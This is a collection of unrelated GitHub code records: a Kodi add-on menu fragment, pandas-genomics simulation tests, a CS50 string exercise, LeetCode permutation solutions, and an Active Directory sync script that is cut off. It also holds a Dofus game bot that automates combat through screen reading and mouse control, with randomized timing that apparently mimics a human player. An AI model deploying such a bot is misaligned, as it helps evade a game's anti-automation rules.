xbmcgui.Dialog().select(\n '{0} - {1}'.format(ADDON_NAME, STR_STAGED_MOVIES), lines\n )\n if ret >= 0:\n if ret < len(staged_movies): # staged item\n for i, item in enumerate(staged_movies):\n if ret == i:\n self.options(item)\n break\n elif lines[ret] == STR_ADD_ALL_MOVIES:\n self.add_all(staged_movies)\n elif lines[ret] == STR_REMOVE_ALL_MOVIES:\n self.remove_all()\n elif lines[ret] == STR_BACK:\n return\n","repo_name":"curdh/script.library.integration.tool","sub_path":"resources/lib/menus/staged_movies.py","file_name":"staged_movies.py","file_ext":"py","file_size_in_byte":5005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"7955729399","text":"import numpy as np\nimport pytest\nfrom pandas._testing import assert_frame_equal\n\nfrom pandas_genomics import sim\nfrom pandas_genomics.sim import BAMS, SNPEffectEncodings, PenetranceTables\n\n\ndef assert_frame_not_equal(*args, **kwargs):\n try:\n assert_frame_equal(*args, **kwargs)\n except AssertionError:\n # frames are not equal\n pass\n else:\n # frames are equal\n raise AssertionError\n\n\n@pytest.mark.parametrize(\n \"pen_table,baseline,diff,expected\",\n [\n (sim.PenetranceTables.NULL, 0.1, 0.8, [0.5] * 9),\n (sim.PenetranceTables.NULL, 0.0, 0.5, [0.25] * 9),\n (\n sim.PenetranceTables.HET_HET,\n 0.25,\n 0.5,\n [0.25, 0.25, 0.25, 0.25, 0.75, 0.25, 0.25, 0.25, 0.25],\n ),\n (\n np.array(sim.PenetranceTables.HET_HET.value).reshape((3, 3)) * 10,\n 0.25,\n 0.5,\n [0.25, 0.25, 0.25, 0.25, 0.75, 0.25, 0.25, 0.25, 0.25],\n ),\n (\n sim.PenetranceTables.HET_HA,\n 0.1,\n 0.9,\n [0.1, 0.1, 0.1, 0.1, 0.1, 1.0, 0.1, 0.1, 0.1],\n ),\n pytest.param(\n sim.PenetranceTables.HET_HET,\n -1,\n 0,\n [0.0] * 9,\n marks=pytest.mark.xfail(raises=ValueError, strict=True),\n ),\n pytest.param(\n sim.PenetranceTables.HET_HET,\n 0.1,\n 0.91,\n [0.0] * 9,\n marks=pytest.mark.xfail(raises=ValueError, strict=True),\n ),\n pytest.param(\n [0, 0, 0, 0, 0, 0, 0, 0, 0],\n 0.1,\n 0.91,\n [0.0] * 9,\n marks=pytest.mark.xfail(raises=ValueError, strict=True),\n ),\n ],\n)\ndef test_pen_table_direct(pen_table, baseline, diff, expected):\n \"\"\"Test calculation of final penetrance table when a penetrance table is specified\"\"\"\n model = BAMS(pen_table=pen_table, penetrance_base=baseline, penetrance_diff=diff)\n np.isclose(model.pen_table, np.reshape(np.array(expected), newshape=(3, 3))).all()\n\n\n@pytest.mark.parametrize(\n \"eff1,eff2,baseline,diff,main1,main2,interaction,expected\",\n [\n (\n sim.SNPEffectEncodings.DOMINANT,\n sim.SNPEffectEncodings.DOMINANT,\n 0.1,\n 0.8,\n 1,\n 1,\n 0,\n [0.1, 0.5, 0.5, 0.5, 0.9, 0.9, 0.5, 0.9, 0.9],\n ),\n (\n sim.SNPEffectEncodings.DOMINANT,\n sim.SNPEffectEncodings.DOMINANT,\n 0.1,\n 0.8,\n 0,\n 0,\n 1,\n [0.1, 0.1, 0.1, 0.1, 0.9, 0.9, 0.1, 0.9, 0.9],\n ),\n (\n sim.SNPEffectEncodings.DOMINANT,\n sim.SNPEffectEncodings.DOMINANT,\n 0.1,\n 0.8,\n 1,\n 1,\n 10,\n [0.1, 1 / 6, 1 / 6, 1 / 6, 0.9, 0.9, 1 / 6, 0.9, 0.9],\n ),\n (\n sim.SNPEffectEncodings.ADDITIVE,\n sim.SNPEffectEncodings.RECESSIVE,\n 0.2,\n 0.4,\n 1,\n 1,\n -1,\n [0.2, 0.4, 0.6, 0.2, 0.4, 0.6, 0.6, 0.6, 0.6],\n ),\n ],\n)\ndef test_pen_table_model(\n eff1, eff2, baseline, diff, main1, main2, interaction, expected\n):\n \"\"\"Test calculation of final penetrance table from a model\"\"\"\n model = BAMS.from_model(\n eff1=eff1,\n eff2=eff2,\n penetrance_base=baseline,\n penetrance_diff=diff,\n main1=main1,\n main2=main2,\n interaction=interaction,\n )\n assert np.isclose(\n model.pen_table, np.reshape(np.array(expected), newshape=(3, 3))\n ).all()\n\n\ndef test_random_seed():\n test_sim = BAMS.from_model(\n SNPEffectEncodings.RECESSIVE,\n SNPEffectEncodings.RECESSIVE,\n main1=1,\n main2=1,\n interaction=1,\n random_seed=123,\n )\n\n # Test simulating data using random seeds\n original_cc_sim = test_sim.generate_case_control(snr=0.1)\n original_quant_sim = test_sim.generate_quantitative(snr=0.1)\n repeat_cc_sim = test_sim.generate_case_control(snr=0.1)\n repeat_quant_sim = test_sim.generate_quantitative(snr=0.1)\n test_sim.set_random_seed(456)\n newseed_cc_sim = test_sim.generate_case_control(snr=0.1)\n newseed_quant_sim = test_sim.generate_quantitative(snr=0.1)\n test_sim.set_random_seed(123)\n redo_cc_sim = test_sim.generate_case_control(snr=0.1)\n redo_quant_sim = test_sim.generate_quantitative(snr=0.1)\n\n # Subsequent runs are different\n assert_frame_not_equal(original_cc_sim, repeat_cc_sim)\n assert_frame_not_equal(original_quant_sim, repeat_quant_sim)\n\n # New seed should be different\n assert_frame_not_equal(original_cc_sim, newseed_cc_sim)\n assert_frame_not_equal(original_quant_sim, newseed_quant_sim)\n\n # Resetting seed should match original\n assert_frame_equal(original_cc_sim, redo_cc_sim)\n assert_frame_equal(original_quant_sim, redo_quant_sim)\n\n\ndef test_null():\n bas = BAMS(PenetranceTables.NULL)\n simulated = bas.generate_case_control(10000, 1000, 0.1, 0.1)\n # maf should be similar to the specified one despite a large fraction of cases\n # specifically assert it is within 5%\n assert abs(0.1 - simulated[\"SNP1\"].genomics.maf) / 0.1 < 0.05\n","repo_name":"HallLab/pandas-genomics","sub_path":"tests/simulation/test_biallelic_sim.py","file_name":"test_biallelic_sim.py","file_ext":"py","file_size_in_byte":5297,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"32"} +{"seq_id":"8626666688","text":"import pyautogui\nimport cv2\nimport numpy as np\nimport time\nfrom Divers import Divers as divers\nimport random\nimport copy\n\ndef combat_fini():\n template = cv2.imread('Picture/fermer_combat.png', 0)\n template_BW = cv2.threshold(template, 100, 255, cv2.THRESH_BINARY)[1]\n image = pyautogui.screenshot(region=(571, 416, 90, 230))\n # image.show()\n img_rgb = cv2.cvtColor(np.array(image), cv2.COLOR_RGB2BGR)\n img_gray = cv2.cvtColor(img_rgb, cv2.COLOR_BGR2GRAY)\n img_BW = cv2.threshold(img_gray, 100, 255, cv2.THRESH_BINARY)[1]\n res2 = cv2.matchTemplate(img_BW, template_BW, cv2.TM_SQDIFF_NORMED)\n threshold = 0.1\n\n # Store the coordinates of matched area in a numpy array\n if np.any(res2 <= threshold):\n position = np.where(res2 <= threshold)\n result = (1, position[1][0]+571, position[0][0]+416)\n else:\n result = (0, 20, 20)\n return result\n\n\ndef click_combat_fini(pause=[False]):\n bool_fini = combat_fini()\n if bool_fini[0] == 1:\n divers.move_mouse(bool_fini[1], bool_fini[2], 60, 10, alea=False, pause=pause)\n\n\ndef findperso(color1, color2, color3, dist=10, tol=4):\n now = pyautogui.screenshot\n pos_nope = []\n while True:\n pos1 = divers.findcolor(color1, sauf=pos_nope, tol=tol)\n # print(pos1)\n # print(pos_nope)\n if pos1:\n if divers.findcolor(color2, initial=(pos1[0]-dist, pos1[1]-dist), final=(pos1[0]+dist, pos1[1]+dist), tol=tol):\n return pos1\n if divers.findcolor(color3, initial=(pos1[0]-dist, pos1[1]-dist), final=(pos1[0]+dist, pos1[1]+dist), tol=tol):\n return pos1\n pos_nope.append((pos1[0]-dist, pos1[1]-dist, pos1[0]+dist, pos1[1]+dist))\n else:\n break\n pos_nope = []\n while True:\n pos1 = divers.findcolor(color2, sauf=pos_nope, tol=tol)\n if pos1:\n if divers.findcolor(color3, initial=(pos1[0]-dist, pos1[1]-dist), final=(pos1[0]+dist, pos1[1]+dist), tol=tol):\n return pos1\n pos_nope.append((pos1[0]-dist, pos1[1]-dist, pos1[0]+dist, pos1[1]+dist))\n else:\n break\n return None\n\n\ndef obstacle(origine):\n dX = 2\n dY = 2\n color = (34, 51, 153)\n tol = 2\n\n color = np.uint8([[[color[0], color[1], color[2] ]]])\n hsv_color = cv2.cvtColor(color, cv2.COLOR_RGB2HSV)\n\n lower_limit = np.array([hsv_color[0][0][0]-tol, hsv_color[0][0][1]-tol, hsv_color[0][0][2]-tol])\n upper_limit = np.array([hsv_color[0][0][0]+tol, hsv_color[0][0][1]+tol, hsv_color[0][0][2]+tol])\n\n frame = pyautogui.screenshot()\n hsv = cv2.cvtColor(np.array(frame), cv2.COLOR_RGB2HSV)\n mask = cv2.inRange(hsv, lower_limit, upper_limit)\n\n height, width = mask.shape\n U = (28.2, 14)\n V = (28.2, -14)\n porte = 11\n obstacle_dico = {}\n for i in range(-porte, porte+1):\n porte2 = porte - abs(i)\n for j in range(-porte2, porte2 + 1):\n actuel = (np.int64(origine[0] + i * U[0] + j*V[0]), np.int64(origine[1] + i * U[1] + j*V[1]))\n zone_chercher = np.zeros((height, width, 1), np.uint8)\n initial = (actuel[0] - dX, actuel[1] - dY)\n final = (actuel[0] + dX, actuel[1] + dY)\n # print(initial,final)\n cv2.rectangle(zone_chercher, initial, final, (255), -1)\n res = cv2.bitwise_and(zone_chercher, zone_chercher, mask=mask)\n result1, result2 = np.where(res == 255)\n if(len(result1)):\n obstacle_dico[(i, j)] = True\n # else:\n # obstacle_dico[(i,j)] = False\n return obstacle_dico\n # frame2 = cv2.cvtColor(np.array(frame), cv2.COLOR_RGB2BGR)\n # for i in obstacle_dico.keys():\n # if obstacle_dico[i]:\n # actuel = (np.int64(origine[0] + i[0] * U[0] + i[1]*V[0]), np.int64(origine[1] + i[0] * U[1] + i[1]*V[1]))\n # cv2.rectangle(frame2,(actuel[0] - 2,actuel[1] - 2),(actuel[0] + 2,actuel[1] + 2),(255,255,255),-1)\n #\n # cv2.imshow('frame',frame2)\n # k = cv2.waitKey()\n\n\ndef findpath(obstacleexterne, pos, but):\n try:\n obstacle_dico = copy.deepcopy(obstacleexterne)\n obstacle_dico[but] = True\n libre = list(obstacle_dico.keys())\n if pos in libre:\n libre.remove(pos)\n list_pos_actuelle = [pos]\n list_pos_nouvelle = []\n dico_pos = {pos: 0}\n accessible = []\n for i in range(1, 31):\n for j in list_pos_actuelle:\n for k in voisin(j):\n if k in libre:\n libre.remove(k)\n dico_pos[k] = i\n list_pos_nouvelle.append(k)\n accessible.append(k)\n if not (but in libre):\n break\n list_pos_actuelle = list_pos_nouvelle\n list_pos_nouvelle = []\n\n pos_actuelle = but\n path = []\n if not (but in accessible):\n dist_min = 1000\n for i in accessible:\n if (abs(but[0]-i[0]) + abs(but[1]-i[1])) < dist_min:\n dist_min = (abs(but[0]-i[0]) + abs(but[1]-i[1]))\n pos_actuelle = i\n\n for i in range(dico_pos[pos_actuelle]-1, 0, -1):\n for j in voisin(pos_actuelle):\n try:\n if dico_pos[j] == i:\n path.append(j)\n pos_actuelle = j\n break\n except:\n continue\n return path\n except:\n path = []\n\n\ndef voisin(pos):\n return [(pos[0]+1, pos[1]), (pos[0]-1, pos[1]), (pos[0], pos[1]+1), (pos[0], pos[1]-1)]\n\ndef ligne_de_vue(obstacle, pos,but):\n try:\n obstacle_dico = copy.deepcopy(obstacle)\n obstacle_dico[pos] = True\n obstacle_dico[but] = True\n dist = abs(but[1]-pos[1]) + abs(but[0]-pos[0])\n if (but[0]-pos[0]) == 0:\n dX = np.arange(0, but[1]-pos[1], ((but[1]-pos[1])/dist))\n pente = (but[0]-pos[0])/(but[1]-pos[1])\n X = np.arange(pos[1], but[1], ((but[1]-pos[1])/dist))\n else:\n dX = np.arange(0, but[0]-pos[0], ((but[0]-pos[0])/dist))\n pente = (but[1]-pos[1])/(but[0]-pos[0])\n X = np.arange(pos[0], but[0], ((but[0]-pos[0])/dist))\n Y = []\n for i in dX:\n Y.append(pente*i + pos[1])\n\n # print(X)\n # print(Y)\n for i in range(len(X)):\n try:\n if (but[0]-pos[0]) == 0:\n obstacle_dico[(round(Y[i]), round(X[i]))]\n else:\n obstacle_dico[(round(X[i]), round(Y[i]))]\n except:\n return False\n return True\n except:\n return False\n\n\ndef pos_abs_2_rel(pos, origine):\n # U = (36.3, 18.1)\n # V = (36.3,-18.1)\n dX = 28.2\n dY = 14\n\n X = round((pos[0] - origine[0])/dX)\n Y = round((pos[1] - origine[1])/dY)\n\n a = (X + Y)/2\n b = X - a\n return (a,b)\n\ndef pos_rel_2_abs(pos, origine):\n U = (28.2, 14)\n V = (28.2, -14)\n pos_abs = (np.int64(origine[0] + pos[0] * U[0] + pos[1] * V[0]), np.int64(origine[1] + pos[0] * U[1] + pos[1] * V[1]))\n return pos_abs\n\ndef modeTacticCreature(pause= [False]):\n if(divers.findcolor((173, 173, 173),(872, 686),(879, 693))):\n divers.move_mouse(872, 686,6,7, vitesse=1.5, pause= pause)\n time.sleep(0.8 + random.random() * 0.5)\n\n if(divers.findcolor((173, 173, 173),(891, 686),(897, 693))):\n divers.move_mouse(891,686,6,7, vitesse=1.5, pause= pause)\n time.sleep(0.8 + random.random() * 0.5)\n return\n\ndef combat(option, pause= [False]):\n try:\n ColorNextTurn = (213, 243, 0)\n #cra = [(253, 190, 45),(216, 138, 22),(119, 74, 2)]#Couleur Enutrof\n cra = [(253, 57, 36), (196, 19, 0), (101, 11, 1)]#Couleur Cra\n creature = [(77, 77, 93), (46, 54, 61), (126, 126, 142)]\n Sort_Sans_Vue = (595, 667)\n Sort_Avec_Vue = (621, 667)\n PO_Sort = option.po\n pm = option.pm\n\n pos_ennemi = (0, 0)\n obst = {}\n if divers.findcolor(ColorNextTurn, (882, 646), (949, 669)):\n bool_fini = (1, 570, 433)\n modeTacticCreature()\n ColorEndFight = (191, 230, 0)\n pos_perso = findperso(cra[0], cra[1], cra[2])\n if (pos_perso == None):\n pos_perso = findperso(cra[0], cra[1], cra[2])\n origine = (pos_perso[0]+2, pos_perso[1]+15)\n\n while(True):\n modeTacticCreature()\n #lance le combat au premier tour et ensuite passe son tour\n for i in range(0, 20):\n time.sleep(0.3)\n if divers.findcolor(ColorNextTurn, (882, 646), (949, 669)):\n break\n if combat_fini()[0] == 1:\n i = 19\n bool_fini = combat_fini()\n break\n if ((i+1) % 10) == 0:\n divers.move_mouse(262, 694, 100, 4, alea=False, pause=pause)\n if i == 19:\n break\n\n divers.move_mouse(882, 646, 65, 20, alea=False, pause=pause)\n divers.move_mouse(1083, 388, 150, 160, alea=False, pause=pause)\n\n #attend son tour de jeu\n for i in range(0, 50):\n time.sleep(0.3)\n if divers.findcolor(ColorNextTurn, (882, 646), (949, 669)):\n break\n if combat_fini()[0] == 1:\n i = 49\n bool_fini = combat_fini()\n break\n if ((i + 1) % 15) == 0:\n divers.move_mouse(262, 694, 100, 4, alea=False, pause=pause)\n if i == 49:\n break\n\n #Click sort sans ligne de vue\n bool_sort = False\n if not(pos_ennemi in list(obst.keys())):\n bool_sort = True\n divers.move_mouse(Sort_Sans_Vue[0], Sort_Sans_Vue[1], 13, 14, vitesse=2, alea=False, pause=pause)\n divers.move_mouse(72, 146, 130, 450, Click=0, vitesse=3, alea=False, pause=pause)\n obst = obstacle(origine)\n # divers.move_mouse(70, 475, 100, 230, vitesse = 2, pause= pause)\n\n pos_perso = findperso(cra[0], cra[1], cra[2])\n if pos_perso == None:\n pos_perso = findperso(cra[0], cra[1], cra[2])\n\n pos_ennemi = findperso(creature[0], creature[1], creature[2])\n if pos_ennemi == None:\n pos_ennemi = findperso(creature[0], creature[1], creature[2])\n if pos_ennemi == None:\n break\n pos_perso = (pos_perso[0]+2, pos_perso[1] + 19)\n pos_ennemi = (pos_ennemi[0]+2, pos_ennemi[1] + 19)\n pos_perso = pos_abs_2_rel(pos_perso, origine)\n pos_ennemi = pos_abs_2_rel(pos_ennemi, origine)\n\n dist = abs(pos_perso[0]-pos_ennemi[0]) + abs(pos_perso[1]-pos_ennemi[1])\n # if too far, get closer\n if dist > PO_Sort:\n # enleve click sort pour bouger\n if bool_sort:\n bool_sort = False\n divers.move_mouse(72, 146, 130, 450, vitesse=2, pause= pause)\n path = findpath(obst, pos_perso, pos_ennemi)\n if len(path) < pm:\n pm = len(path)\n Go_to = pos_rel_2_abs(path[len(path)-pm], origine)\n divers.move_mouse(Go_to[0]-6, Go_to[1]-4, 6, 6, vitesse=2, pause=pause)\n pos_perso = path[len(path)-5]\n dist = abs(pos_perso[0]-pos_ennemi[0]) + abs(pos_perso[1]-pos_ennemi[1])\n\n if dist <= PO_Sort:\n if ligne_de_vue(obst, pos_perso, pos_ennemi):\n Go_to = pos_rel_2_abs(pos_ennemi, origine)\n\n divers.move_mouse(Sort_Avec_Vue[0], Sort_Avec_Vue[1], 13, 14, alea=False, vitesse=2, pause=pause)\n divers.move_mouse(Go_to[0]-6, Go_to[1]-4, 9, 6, alea=False, vitesse=2, pause=pause)\n\n time.sleep(0.3 + random.random() * 0.3)\n if combat_fini()[0] == 1:\n bool_fini = combat_fini()\n break\n\n divers.move_mouse(Sort_Avec_Vue[0], Sort_Avec_Vue[1], 13, 14, alea=False, vitesse=2, pause=pause)\n if combat_fini()[0] == 1:\n bool_fini = combat_fini()\n break\n divers.move_mouse(Go_to[0]-6, Go_to[1]-4, 9, 6, vitesse=2, pause= pause)\n # Sort à ligne de vue\n # 2e sort à ligne de vue\n else:\n Go_to = pos_rel_2_abs(pos_ennemi,origine)\n if (not(bool_sort)):\n divers.move_mouse(Sort_Sans_Vue[0], Sort_Sans_Vue[1], 13, 14,alea=False, vitesse=2, pause= pause)\n divers.move_mouse(Go_to[0]-6, Go_to[1]-4, 9, 6, alea=False, vitesse=2, pause=pause)\n\n time.sleep(0.3 + random.random() * 0.3)\n if combat_fini()[0] == 1:\n bool_fini = combat_fini()\n break\n\n divers.move_mouse(Sort_Sans_Vue[0], Sort_Sans_Vue[1], 13, 14, alea=False, vitesse=2, pause=pause)\n if combat_fini()[0] == 1:\n bool_fini = combat_fini()\n break\n divers.move_mouse(Go_to[0]-6, Go_to[1]-4, 9, 6, vitesse=2, pause=pause)\n\n time.sleep(0.3 + random.random() * 0.3)\n divers.move_mouse(bool_fini[1], bool_fini[2], 60, 10, alea=False, pause=pause)\n except:\n return\n\n","repo_name":"bebeh3176/Farming_sim","sub_path":"BOT_Dofus/Divers/Combat.py","file_name":"Combat.py","file_ext":"py","file_size_in_byte":14065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34621481689","text":"# prompts the user for the name of a variable in camel case\ncamel_text = input(\"camelCase: \").strip()\n\n# assign the first char of the camel case\nsnake_text = camel_text[0]\n\n# check the first letter in input\nfor char in camel_text[1:]:\n # check if first letter is upper\n if char.isupper():\n # add \"_\" at the beginning of the uppercase char then make it lowercase\n snake_text += \"_\" + char.lower()\n else:\n snake_text += char.lower()\n# outputs the corresponding name in snake case.\nprint(f\"snake_case: {snake_text}\")","repo_name":"patricktenorio/CS50P_complete_course","sub_path":"week_2/camel/camel.py","file_name":"camel.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"7699722188","text":"from collections import deque\n\nclass Solution:\n def permute(self, nums: List[int]) -> List[List[int]]:\n \n # []\n # [1]\n # [1,2], [2,1]\n # [3,1,2], [1,3,2], [1,2,3], [3,2,1], [2,3,1], [2,1,3]\n \n res = [] # [3,2,1], [2,3,1], [2,1,3]\n que = deque([])\n que += [],\n \n for num in nums: #3\n n = len(que) # 2, [2,1] [1,2]\n for _ in range(n): # 2\n oldPerm = que.popleft() # [2,1]\n for i in range(len(oldPerm)+1): # 0,1,2\n newPerm = oldPerm[:] # [2,1]\n newPerm.insert(i, num) # \n if len(newPerm) == len(nums):\n res += newPerm,\n else:\n que += newPerm, # []\n \n return res\n\n# Second attempt\n\nfrom collections import deque\n\nclass Solution:\n def permute(self, nums: List[int]) -> List[List[int]]:\n # use bit manipulation\n # use bfs method \n \n # BFS method\n # when len == 3: add to res\n # [] -> [1] -> [2,1] [1,2] -> [3,2,1], [2,3,1], [2,1,3], [3,1,2], [1,3,2], [1,2,3]\n \n que = deque([[]])\n res = []\n idx = 0\n while len(que):\n # print(que)\n for x in range(len(que)): # 1\n temp = que.popleft() # [1]\n # print(\"temp\", temp)\n if len(temp) == len(nums):\n res += temp,\n break\n\n for i in range(len(temp)+1): # 2\n newList = temp[:i] + [nums[idx]] + temp[i:]\n # print(newList)\n que += newList,\n\n idx+=1\n \n return res","repo_name":"DarshanGowda0/LC-Grind","sub_path":"Daily-Grind/56.py","file_name":"56.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27192554420","text":"import logging\nimport typing\nimport uuid\nfrom functools import lru_cache\nfrom functools import partial\nfrom functools import wraps\nfrom operator import itemgetter\nfrom typing import Any\nfrom typing import Callable\nfrom typing import Dict\nfrom typing import Iterator\nfrom typing import List\nfrom typing import Optional\nfrom typing import Tuple\n\nimport click\nimport sentry_sdk\nfrom ra_utils.apply import apply\nfrom ra_utils.catchtime import catchtime\nfrom ra_utils.jinja_filter import create_filters\nfrom ra_utils.lazy_dict import LazyDict\nfrom ra_utils.lazy_dict import LazyEval\nfrom ra_utils.lazy_dict import LazyEvalBare\nfrom ra_utils.load_settings import load_settings\nfrom ra_utils.tqdm_wrapper import tqdm\n\nfrom .ad_exceptions import NoActiveEngagementsException\nfrom .ad_exceptions import NoPrimaryEngagementException\nfrom .ad_logger import start_logging\nfrom .ad_reader import ADParameterReader\nfrom .ad_writer import ADWriter\nfrom .read_ad_conf_settings import injected_settings\nfrom exporters.sql_export.gql_lora_cache_async import GQLLoraCache\nfrom exporters.sql_export.lora_cache import get_cache as LoraCache\nfrom exporters.sql_export.old_lora_cache import OldLoraCache\n\nlogger = logging.getLogger(\"CreateAdUsers\")\nexport_logger = logging.getLogger(\"export\")\n\nFilterFunction = Callable[[Tuple[Dict, Dict]], bool]\n\n\nclass AdLifeCycle:\n def __init__(\n self, read_from_cache: bool = True, skip_occupied_names_check: bool = False\n ) -> None:\n logger.info(\"AD Sync Started\")\n self._settings = self._load_settings()\n\n self.roots = self._settings[\"integrations.ad.write.create_user_trees\"]\n\n self.stats = self._gen_stats()\n\n self.create_filters = self._load_jinja_filters(\"create_filters\")\n self.disable_filters = self._load_jinja_filters(\"disable_filters\")\n\n self.ad_reader = self._get_adreader()\n\n # This is a potentially slow step (since it may read LoraCache)\n print(\"Retrive LoRa dump\")\n with catchtime() as t:\n self.lc, self.lc_historic = self._update_lora_cache(dry_run=read_from_cache)\n print(\"Done with LoRa caching: {}\".format(t()))\n\n # Create a set of users with engagements for faster filtering\n engagements = self.lc_historic.engagements.values()\n self.users_with_engagements = set(map(lambda eng: eng[0][\"user\"], engagements))\n\n print(\"Retrieve AD Writer name list\")\n with catchtime() as t:\n self.ad_writer = self._get_adwriter(\n lc=self.lc,\n lc_historic=self.lc_historic,\n skip_occupied_names=skip_occupied_names_check,\n all_settings=injected_settings(\"ad_lifecycle_injected_settings\"),\n )\n print(\"Done with AD Writer init: {}\".format(t()))\n\n logger.debug(\"__init__() done\")\n\n def _load_settings(self):\n return load_settings()\n\n def _load_jinja_filters(self, source: str) -> List[Callable]:\n seeded_create_filters = partial(\n create_filters, tuple_keys=(\"employee\", \"ad_object\")\n )\n setting_name = f\"integrations.ad.lifecycle.{source}\"\n filter_templates = self._settings.get(setting_name, [])\n return [\n # Decorate each `filter_func` so it will log skipped users under\n # a name such as \"create_filters_num_0\", etc.\n self.log_skipped(f\"{source}_num_{num}\")(filter_func)\n for num, filter_func in enumerate(seeded_create_filters(filter_templates))\n ]\n\n def _get_adreader(self):\n reader = ADParameterReader()\n reader.cache_all(print_progress=True)\n return reader\n\n def _get_adwriter(self, **kwargs):\n return ADWriter(**kwargs)\n\n def log_skipped(self, filtername):\n \"\"\"Return decorated version of a filter function taking a single\n `tup` arg, which is an `(employee, ad_object)` tuple.\n If the filter function returns `False`, store the result in the\n `stats[\"skipped\"][filtername]` dictionary by the employee UUID.\n \"\"\"\n\n def get_employee_name(employee):\n if \"name\" in employee:\n return \" \".join(employee[\"name\"])\n elif \"navn\" in employee:\n return employee[\"navn\"]\n else:\n return \"unknown\"\n\n def decorator(f):\n @wraps(f)\n def wrapper(tup):\n # Call the filter function saving its status\n status = f(tup)\n if status is False:\n skipped = self.stats.setdefault(\"skipped\", {})\n users = skipped.setdefault(filtername, {})\n # Add user UUID to dictionary (name is used for the value)\n employee = tup[0]\n users[employee[\"uuid\"]] = get_employee_name(employee)\n return status\n\n return wrapper\n\n return decorator\n\n def _update_lora_cache(\n self, dry_run: bool = True\n ) -> Tuple[\n typing.Union[OldLoraCache, GQLLoraCache],\n typing.Union[OldLoraCache, GQLLoraCache],\n ]:\n \"\"\"\n Read all information from AD and LoRa.\n :param dry_run: If True, LoRa dump will be read from cache.\n \"\"\"\n lc = LoraCache(resolve_dar=True, full_history=False)\n lc.populate_cache(dry_run=dry_run, skip_associations=True)\n lc.calculate_derived_unit_data()\n lc.calculate_primary_engagements()\n\n lc_historic = LoraCache(resolve_dar=True, full_history=True, skip_past=True)\n lc_historic.populate_cache(dry_run=dry_run, skip_associations=True)\n\n return lc, lc_historic\n\n def _gen_stats(self) -> Dict[str, Any]:\n return {\n \"critical_errors\": 0,\n \"engagement_not_found\": 0,\n \"created_users\": 0,\n \"disabled_users\": 0,\n \"already_in_ad\": 0,\n \"no_active_engagements\": 0,\n \"not_in_user_tree\": 0,\n \"create_filtered\": 0,\n \"users\": set(),\n }\n\n @apply\n def _find_user_unit_tree(self, user: dict, ad_object: dict) -> bool:\n try:\n (\n employment_number,\n title,\n eng_org_unit_uuid,\n eng_uuid,\n ) = self.ad_writer.datasource.find_primary_engagement(user[\"uuid\"])\n except (NoActiveEngagementsException, NoPrimaryEngagementException):\n logger.warning(\n \"Warning: Unable to find primary for {}!\".format(user[\"uuid\"])\n )\n return False\n\n logger.debug(\"Primary found, now find org unit location\")\n\n try:\n unit = self.lc.units[eng_org_unit_uuid][0]\n except KeyError:\n logger.warning(\n \"cannot find unit %r (user=%r)\", eng_org_unit_uuid, user[\"uuid\"]\n )\n return False\n\n # Walk up the organisation unit tree, starting at `unit[\"parent\"]`.\n # Stop when we find an allowed root node, or if we encounter a node\n # without a parent (must be root?)\n looking = True\n while looking:\n if unit[\"uuid\"] in self.roots:\n return True\n if unit[\"parent\"] is None:\n return False\n\n if unit[\"parent\"] in self.lc.units:\n unit = self.lc.units[unit[\"parent\"]][0]\n else:\n logger.warning(\n \"cannot find parent unit %r (user=%r)\", unit[\"parent\"], user[\"uuid\"]\n )\n looking = False\n\n return False\n\n def _get_filter_users_outside_unit_tree(self):\n \"\"\"Return predicate which filter MO users outside the specified unit tree (aka.\n \"user_trees\".)\n \"\"\"\n\n @self.log_skipped(\"filter_users_outside_unit_tree\")\n def filter_users_outside_unit_tree(tup):\n status = self._find_user_unit_tree(tup)\n if status is False:\n self.stats[\"not_in_user_tree\"] += 1\n return status\n\n return filter_users_outside_unit_tree\n\n def _gen_filtered_employees(\n self, in_filters: Optional[List[FilterFunction]] = None\n ):\n def enrich_with_ad_user(mo_employee: dict) -> Tuple[Dict, Dict]:\n \"\"\"Enrich mo_employee with AD employee dictionary.\"\"\"\n cpr = mo_employee[\"cpr\"]\n ad_object = self.ad_reader.read_user(cpr=cpr, cache_only=True)\n return mo_employee, ad_object\n\n @lru_cache(maxsize=0)\n def get_engagements() -> List[LazyDict]:\n \"\"\"Produce a list of engagements with lazily evaluated properties.\"\"\"\n\n def make_class_lazy(class_attribute: str, mo_engagement: dict) -> dict:\n \"\"\"Create a lazily evaluated class property.\"\"\"\n class_uuid = mo_engagement[class_attribute]\n mo_engagement[class_attribute + \"_uuid\"] = class_uuid\n mo_engagement[class_attribute] = LazyEvalBare(\n lambda: {\n **self.lc.classes[class_uuid],\n \"uuid\": class_uuid,\n }\n )\n return mo_engagement\n\n lc_engagements: List[\n List[Dict]\n ] = self.lc.engagements.values() # type:ignore\n engagements: Iterator[Dict] = map(itemgetter(0), lc_engagements)\n lazy_engagements: Iterator[LazyDict] = map(LazyDict, engagements)\n enriched_engagements: Iterator[LazyDict] = map(\n # Enrich engagement_type class\n partial(make_class_lazy, \"engagement_type\"),\n map(\n # Enrich primary_type class\n partial(make_class_lazy, \"primary_type\"),\n map(\n # Enrich job_function class\n partial(make_class_lazy, \"job_function\"),\n lazy_engagements,\n ),\n ),\n )\n return list(enriched_engagements)\n\n def enrich_with_engagements(mo_employee: dict) -> LazyDict:\n \"\"\"Enrich mo_employee with lazy engagement information.\n\n The list of engagements is itself lazy, so this code is essentially free\n when it is not in use.\n \"\"\"\n # Turn mo_employee into a lazy dict and add lazy properties\n lazy_employee: LazyDict = LazyDict(mo_employee)\n\n lazy_employee[\"engagements\"] = LazyEvalBare(\n lambda: list(\n filter(\n lambda engagement: engagement[\"user\"] == mo_employee[\"uuid\"],\n get_engagements(),\n )\n )\n )\n\n lazy_employee[\"primary_engagement\"] = LazyEval(\n lambda key, dictionary: next(\n filter(\n lambda engagement: engagement.get(\"primary_boolean\", False),\n dictionary[\"engagements\"],\n ),\n None,\n )\n )\n\n return lazy_employee\n\n filters: List[FilterFunction] = in_filters or []\n\n lc_employees: List[List[Dict]] = self.lc.users.values() # type:ignore\n nonempty_employees = filter(lambda val: len(val) > 0, lc_employees)\n tqdm_employees: List[List[Dict]] = 